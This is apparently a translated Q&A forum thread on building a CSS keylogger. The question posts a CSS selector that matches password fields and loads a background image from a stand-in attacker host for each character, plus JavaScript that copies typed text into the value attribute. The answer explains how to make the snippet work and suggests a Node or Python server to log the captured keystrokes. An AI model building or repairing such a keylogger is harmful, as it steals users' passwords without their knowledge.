你如何使用 CSS 制作键盘记录器？

Question

 input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); } const inp = document.querySelector("input"); inp.addEventListener("keyup", (e) => { inp.setAttribute('value', inp.value) });

是我发现的，但我认为它不起作用。 我该怎么做？

Answer 1

编辑：我意识到 CSS 代码段不起作用，因为在输入字段中键入不会更改 html 元素的值属性。 为此，需要一个 JavaScript function。 因此，将代码段的最后 3 行包含在脚本标记中，然后它应该可以工作。

CSS 键盘记录器最初是一个思想实验，如LiveOverflow 视频中所述。 您使用的代码片段假设http://localhost:3000/是一个恶意的 Web 服务器，它记录了您的 HTTP 请求。

在这种情况下，在键盘上（在输入字段中）输入“a”会向http://localhost:3000/a发送一个请求（用于获取背景图像），您可以在 Web 服务器上将其拦截为“a”。 您可以编写一个 NodeJS 或 Python Web 服务器来拦截这些请求并获取击键。